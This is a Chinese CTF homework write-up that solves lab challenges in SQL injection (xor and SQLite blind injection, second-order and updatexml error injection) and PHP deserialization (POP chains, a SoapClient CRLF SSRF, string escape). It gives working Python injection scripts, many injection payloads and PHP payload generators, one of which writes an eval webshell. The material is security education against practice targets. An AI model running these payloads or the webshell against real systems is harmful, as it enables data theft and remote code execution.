2025暑假作业(7.28~8.3)
SQL注入
[极客大挑战 2019]FinalSQL
打开环境
看下源代码有些什么
看来是没有藏东西
看下这五个神秘小代码
1
2
3
4
5
看来真是啥都没有
url是发生了变化的
输入6看看
说聪明但是不是这个表
说明我们之前显示出来的id=多少后面跟着的是表
然后再查询内容回显上来
尝试一下上面id可不可以sql注入
但是注入点应该就是这里才对
首页这里不说sql注入,偏偏说sql盲注,看来这里是要盲注
这里还有过滤,看一下过滤了些什么东东
这里可以看见有很多被过滤了
联合注入被过滤了,and被过滤了,by被过滤了
最关键的是空格也被过滤了
输入7和输入1'的报错不一样
这个应该是语法错误
这个是执行错误直接没有7这个表
然后这题就非常抽风了
完全搞不懂,不是说不会改脚本用
自己的脚本改完,连接不上网址
其他大佬的脚本拿来也是连接不上
无语了
死都连接不上,无敌了
无敌了,这wifi的问题,换一下就可以了
这里在看大佬们的脚本的时候发现他们是直接把数据库和表名填进去不是爆出来的
就是脚本里只展现了怎么获取flag没有爆破库名这些,暴库这些应该是比较简单,大佬就没有放上面
这里先来介绍一个新东西,叫做异或盲注
这里我们平时进行布尔盲注是通过and来进行注入
但是这里被过滤掉了所以我们可以考虑去使用^异或来进行一个盲注
我们可以通过1^1=0这个是错误页面
1^0=1是正确页面
就可以用这样的界面来进行二分法
原本正常来说可以直接使用1^和ascii(substr(({query}),{position},1)=105(示例)进行一个比较
然后如果说正确的很话就是1^true=0 所以最后返回的是ERROR!!!这个有点不符合我们的逻辑
所以最后再进行一个异或
这里用AI跑了一个脚本简单改了一下就可以了
脚本附上
点击查看代码
import requests
import time
# ===== 配置区 =====
TARGET_URL = "http://8275f65a-8b2d-44d8-a606-af7eacee72c9.node5.buuoj.cn:81/search.php" # 目标URL
PARAM_NAME = "id" # 注入参数名 # 闭合方式(单引号/双引号)
DELAY = 0.06 # 请求延迟(防封IP)
DEBUG = True # 调试模式
# ===== 爆破目标选择 =====
TARGET_TYPE = '' # 可选:database / table / column / data
# 目标参数(根据TARGET_TYPE修改)
TARGET_CONFIG = {
"database": {
"query": "select(database())",
"start_index": 1
},
"table": {
"query": "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())",
"start_index": 1
},
"column": {
"query": "select(group_concat(column_name))from(information_schema.columns)where(table_name='users')", # 替换目标表名
"start_index": 1
},
"data": {
"query": "select(group_concat(username))from(users)",
"start_index": 1
}
}
# ===== 核心函数 =====
def xor_payload(position, mid_value):
"""生成异或Payload"""
query = TARGET_CONFIG[TARGET_TYPE]["query"]
return f"1^(ascii(substr(({query}),{position},1))>{mid_value})^1"
def extract_data():
"""二分法爆破数据"""
result = ""
position = TARGET_CONFIG[TARGET_TYPE]["start_index"]
while True:
low, high = 32, 128 # ASCII可打印字符范围
while low < high:
mid = (low + high) // 2
payload = xor_payload(position, mid)
params = {PARAM_NAME: payload}
try:
response = requests.get(TARGET_URL, params=params, timeout=10)
time.sleep(DELAY)
# 根据页面特征判断条件真假(需自定义)
if "NO! Not this! Click others~~~" in response.text: # 条件为真
low = mid + 1
else: # 条件为假
high = mid
if DEBUG:
print(f"[*] Position:{position} Mid:{mid} -> {response.status_code}")
except Exception as e:
print(f"[!] 请求失败: {e}")
break
if low in (32, 128): # 边界终止
break
char = chr(low)
result += char
print(f"[+] 当前结果: {result}")
position += 1
return result
# ===== 执行 =====
if __name__ == "__main__":
print(f"[*] 开始爆破目标: {TARGET_TYPE}")
final_result = extract_data()
print(f"\n[+] 爆破完成! 结果:\n{final_result}")
里面的表名自己手动替换一下,虽然简陋但还是挺好用的
这里可以直接选择table进行爆破
看见Flaaaaag这个表了,看下里面有没有flag
直接拿出来看看
看来是个假的,去另外一个表里看看
好家伙username里面有个flag
去爆密码
我靠,这爆了好久
[RCTF2015]EasySQL
打开环境
好简陋的登录和注册界面
看下源代码有些什么东西
看来是啥也没有
进登录页面先看一眼万能密码能不能用
登录错误
好家伙不管怎样都是登录错误
先注册一手再看看
这界面看着好眼熟,应该是二次注入没跑了
一般来说有个注册界面还让你登录的应该就是二次注入了
先注册一个admin看看
告诉我们用户已经存在了
这里注册一个admin'#的用户
成功之后就直接转到了登录页面,现在就可以直接使用我们构造的这个万能密码了
这里显示错误
那就还是先用之前注册的密码登录,进去之后如果是二次注入一般来说会存在修改密码的东西,让你密码直接存进数据库,且不检测你用户名了
可以看见确实是有,修改一下密码看看
总感觉哪里不对
看来这里不是单引号,看下双引号
里面内容就不看了,都是一些吹nb的东东
改完密码后,我们改的其实是admin的密码,所以等于用户名那个起作用了,改完密码后生效
变成了admin我们i需改密码修改的就是admin
这里换一种说法就是,当我们修改密码之后,我们在用户名输入的语句执行
登录进去之后发现也是啥都没有
但是根据我们上面的修改密码那里的操作可以猜测一下了
当我们在修改密码的时候我们的用户名被直接插入了sql的update的语句之中
因为一般来说进行密码更新的时候就是用update
所以
换句话来说我们写入的sql语句只有在修改密码的时候会被执行
这里也可以大胆猜测一下后台的更新语句
update 表名 set password="xxx" where usernsme="xxx";
这个应该就是源代码
所以是"闭合的报错
这里用1"再来试探一手
可以看见,在我们要修改密码的时候发生了报错
但是目前来看这里好像只有报错的回显
这里就考虑报错注入
这里是过滤了floor
所以考虑使用xpath报错注入
这里就使用updatexml()函数来报错注入
直接爆表节省时间
1"&&updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
这里可以用符号&&来代替and使用()来代替空格
这里看见表flag了
进去查字段
1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#
爆字段内容
老实了,还是要先去爆数据库名字
1"&&updatexml(1,concat(0x7e,database(),0x7e),1)#
再来爆内容
1"&&updatexml(1,concat(0x7e,(select(group_concat(flag))from(web_sqli.flag)),0x7e),1)#
六百六十六,盐都不盐了
换表查
1"&&updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#
也是在users里面找到了
不过这里看不全使用mid来看一下
1"&&updatexml(1,concat(0x7e,(select(mid((group_concat(column_name))from(information_schema.columns)where(table_name='users'),10,31))),0x7e),1)#
然后就发生了神奇的一幕
我寻思我里面也没有啥被过滤的东西,啧
检查一手mid()也是被过滤了
但是我字典里面好像是没有
这里就换一个看下substr有没有被过滤
。。。。。
看下reverse()
我靠,终于是可以了
1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),0x7e),1)#
两个拼接一下就是
real_flag_1s_here
再看字段内容
1"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(web_sqli.users)),0x7e),1)#
有点无语了
反向交一下看看
1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(web_sqli.users))),0x7e),1)#
6,用正则来匹配一下
1"&&updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#
再反一下拼接起来
flag{da8ffd8b-9d80-459c-9438-d1
1"&&updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)#
}b07296a2921d-8349-c954-08d9-b8
先把这一段逆回来
8b-9d80-459c-9438-d1292a69270b}
292a69270b}
下面这一小段就是差的拼接起来
flag{da8ffd8b-9d80-459c-9438-d1292a69270b}
这题可以换一个payload可以在最后的时候直接判断出不止一行
1"&&extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)),0x7e))#
我们之前之所以不会报错是因为我们使用了group_concat()将所有变成了一行的字符串
这个不会所以会有这样的一个回显
再说一句,这题好烦啊啊啊啊啊啊!!!!!
[HarekazeCTF2019]Sqlite Voting
打开环境
看下网页源代码有没有藏东西
很干净,看来是没有
把这四个点一下看看有没有什么东西
结果就是没啥用
看下那个vote.php
。。。。。。审代码吧
分成四段看吧
首先,get传参
定义一个方法is_valid($str)
里面首先是定义了一个banword来过滤字符
有两个黑名单和空白字符的匹配
然后使用|来连接,/i来防止存在大小写绕过
如果匹配到返回false如果没有匹配到返回true
下面是一个请求头
这个就是检查用户的输入
保证id输入是存在并且非空如果不符合就返回json格式的错误信息
如果被匹配到危险的就仍然是回显错误信息
这个就是对数据库进行一个更新
这里先来简单了解一下pdo是啥
这个技术很复杂的就可以简单的理解为
pdo是所有数据库的接口
pdo是一个面向对象可以说就是一个类
所有这里才会实例化
之后下面给上pdo的对象匹配的操作
之前实例化的时候进行的操作是连接数据库
下面就是执行sql语句
这里返回的对象是这个sql语句执行的结果
如果是false就返回json格式的错误信息
之后这里就是成功然后提交信息
下面还有一个sql的脚本
点击之后会下载,进去看一下
看见个很明显的flag但是里面的内容不知道
这里可以很清楚的看见flag是被插入了flag表里面
之后是一个sqlite的注入
这个可以说完全没见过,这题还是sqlite的盲注
这里搜索一番后还是直接去看了wp
因为这里我们能够利用update这个函数来进行盲注
因为更新成功和不成功是两种语句
这里大致看了一下,就整体来说和sql盲注差的不多
但是这里的',",substr这些被过滤了我们就无法使用ASCLL来判断了
然后在sqlite里面不存在^运算符号
这里在看wp的时候
在 sqlite3 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错
这里用的思路是人家的
https://xz.aliyun.com/news/6232#toc-4
这里因为无法直接来判断字符,所以其采用hex,将所有的的字符串组合用有限的 36 个字符表示
也就是0-9还有A-Z
先考虑对 flag 16 进制长度的判断,假设它的长度为 x,y 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方
emmmm,长的好复杂
这里直接上脚本了
点击查看代码
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
具体的还请去看上面那篇文章,感觉我看的稀里糊涂的
php反序列化
web254 【CTFSHOW-WEB入门】
打开环境
首先来解读一手代码
这里包含了一个flag.php
定义了一个类
里面定义了三个公有变量
里面还定义了三个方法
第一个
checkvip()
就是返回isvip的值
第二个
login()
其获取两个参数u和p
然后与用户名和密码比较
正确就是vip
第三个
vipOneKeyGetFlag()
先判断是不是vip如果是
定义一个flag的全局变量,输出
这里就是通过get来获取用户名和密码
然后就是调用里面的这三个方法
这里其实就可以推断了
login里面的参数u和p就是username和password
而这两个参数在上面的时候
所以直接get传参传着俩就可以了
这题偏基础
web255 【CTFSHOW-WEB入门】
打开环境
这里和上面一样就不解释了
下面这里唯一的区别就是
这里是反序列化cookie传入的值user
这里很简单的就看出了是需要实例化
这里就直接上脚本了
点击查看代码
<?php
class ctfShowUser{
public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
这里编码的原因是cookie里面不能有特殊字符
web257 【CTFSHOW-WEB入门】
打开环境
这里里面一共有三个类,我们一个一个的分析一下
定义一个类ctfShowUser
里面有四个私有变量
定义了一个方法__construct()
这个是构造函数,在实例化类的时候自动调用
然后定义一个login函数
最后是定义了一个__destruct()函数
这个函数在对象删除时自动调用
这里是定义一个info()方法
私有变量user
定义一个方法getInfo()
返回user的值
定义一个backDoor()方法
私有变量code
还有一个公有方法getInfo()
eval()执行code
get获取俩参数
下面依然是cookie的戏份
这里应该可以看出来我们最终需要使用的是backDoor()
现在就需要找到怎样构造链子
这里可以直接用这个函数
本来默认是实例化info()这个类
所以这俩可以修改成实例化backDoor()
然后code我们可以使用get来传参
构造脚本
点击查看代码
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code = 'eval($_GET[a]);';
public function getInfo(){
eval($this->code);
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
web259 【CTFSHOW-WEB入门】
打开环境
这个页面非常的简单
东西不多,看下网页源代码看看是什么
看来是没什么东西
然后在题目的主页面
有一个flag.php的文件
这俩用dirsearch扫一下看看
直接访问一手
所以这里就来理解一下flag.php文件里面的内容
这里其实就是读取http请求头里面的xff头
然后删除最后一个ip
再获取新最后一个ip
这俩可以理解我们要在127.0.0.1后面再随便加一个ip任意格式合理的都行
然后比较成功就进入下一步验证
post发送token验证成功将变量flag写入flag.txt
方法一(bp抓包改头发)
访问一下flag.txt
做完去看了下wp才发现我这个不算是正解
虽然网上也有好多这么做的,但是这个是非预期解
这是php反序列化的题目这一做一点也不反序列化
方法二(原生类)
php里面有一个原生类SoapClient
这里就直接引用AI的话了自己不打了
__call 魔术方法的触发
当调用 SoapClient 不存在的方法时,自动触发 __call 方法,向 location 参数指定的 URL 发送 SOAP 请求(基于 HTTP 协议)。
请求内容为 XML 格式,但关键参数(如 user_agent)可控,允许注入恶意数据。
CRLF 注入控制 HTTP 请求头
user_agent 参数支持自定义值,通过注入 \r\n(即 CRLF)可伪造完整的 HTTP 头部或请求体。
大体的构造逻辑就是这样,直接上脚本
但是要记得打开soap噢
点击查看代码
<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
echo urlencode(serialize($client));
?>
接着上传就行了
访问flag.txt
web261 【CTFSHOW-WEB入门】
打开环境
定义了一个ctfshowvip的类
首先是定义了三个公共变量
这里定义了一个__construct()函数
在实例化对象的时候会自动调用
这里就是给username和password赋值
定义了一个__wakeup()方法
在对象被反序列化之前自动调用
这里就是如果用户名和密码不等于空就结束
定义了一个__invoke()函数
将一个对象当作函数调用时候自动调用
eval执行code
定义了一个__sleep()方法
在对象被序列化之前自动调用
将用户名和密码赋值为空
定义了一个__ubserialize()方法
输入data这个变量,里面得是数组
获取data数组里的用户名和密码赋值
然后code赋值为用户名和密码拼接的结果
定义了一个__destruct()方法
在对象销毁之前自动调用
尝试将password写入username的文件中
这个就是反序列化vip
这里应该是要落脚到file_put_contents上
这里要知道两个东西
PHP 7.4+ 中
__unserialize() 优先于 __wakeup(),因此无需绕过 __wakeup() 中的 die() 限制
__serialize() 比sleep优先调用,且后续的__sleep不在执行
所以这里就不用管这俩函数
所以只需要办法绕过code的过滤就解决了
弱比较时候可以利用其转化机制
这里版本的php会将16进制转化为十进制
所以0x36d其实就是877
所以877后面跟上字母就可以绕过了
构造代码
点击查看代码
<?php
class ctfshowvip{
public $username = '877a.php';
public $password = "<?php @eval(\$_POST[1]);?>";
public $code = '';
}
$a = new ctfshowvip();
echo urlencode(serialize($a));
传参访问找就行
web262 【CTFSHOW-WEB入门】
打开环境
这里先来分析一手代码
这里就是关闭报错
定义了一个message的类
定义了四个公有变量
并且设置token为user
定义了一个__construct()方法接受参数f,m,t
在实例化的时候自动调用
这里就是对之前的三个参数进行赋值使用__construct()接受的三个参数进行赋值
使用get传三个参数
进行实例化message()里面传入三个参数
将序列化后的值找到fuck全部替换为loveU
设置一个msg的cookie然后让其变量进行base64编码
最后输出一句话
者还有一个文件message.php
进去看一下
这里就是反序列化后解码的dcookie值为admin就会输出flag
这里需要用到字符串逃逸因为我们要控制token的值但是我们无法控制
所有这里使用闭合来对其进行操作
这个是原本的
这里我们如果直接把admin那一串直接接到前面去
截断之后我们发现to的长度也变了所有者中闭合没有效果
而我们之前会进行替换没替换一次会多一个字符,所有我们替换27次之后就不会把我们加入的token当作
to的内容识别
构造payload
f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}